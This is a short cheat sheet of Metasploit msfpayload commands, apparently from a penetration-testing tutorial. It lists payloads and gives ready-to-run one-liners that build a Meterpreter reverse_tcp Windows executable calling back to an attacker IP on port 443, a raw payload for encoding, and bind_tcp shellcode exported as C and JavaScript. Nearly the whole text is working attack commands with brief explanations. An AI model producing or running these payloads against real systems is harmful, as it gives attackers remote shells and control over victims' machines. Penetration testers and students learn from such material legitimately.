Here is a list with the available payload commands.

msfpayload -l

List available payloads

msfpayload windows/meterpreter/bind_tcp O

List all available options for the windows/meterpreter/bind_tcp payload

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=443 X >
payload.exe

Create a Meterpreter reverse_tcp payload to connect back to our IP on port 443.Then saves it as Windows executable file with the name payload.exe

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=443 R >
payload.raw

Create a Meterpreter reverse_tcp payload to connect back to our IP and saves it as raw format.It can be combined with msfencode.

msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c

Export as C-formatted shellcode

msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java

Export as %u encoded JavaScript